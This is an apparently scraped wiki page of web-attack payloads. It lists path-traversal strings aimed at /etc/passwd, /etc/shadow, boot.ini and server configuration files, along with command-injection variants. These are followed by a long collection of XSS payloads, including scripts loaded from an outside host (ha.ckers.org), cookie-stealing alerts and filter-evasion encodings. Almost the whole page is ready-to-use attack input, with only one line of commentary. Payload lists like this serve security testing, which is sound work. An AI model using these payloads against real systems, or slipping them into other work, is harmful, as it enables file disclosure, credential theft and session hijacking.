/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> 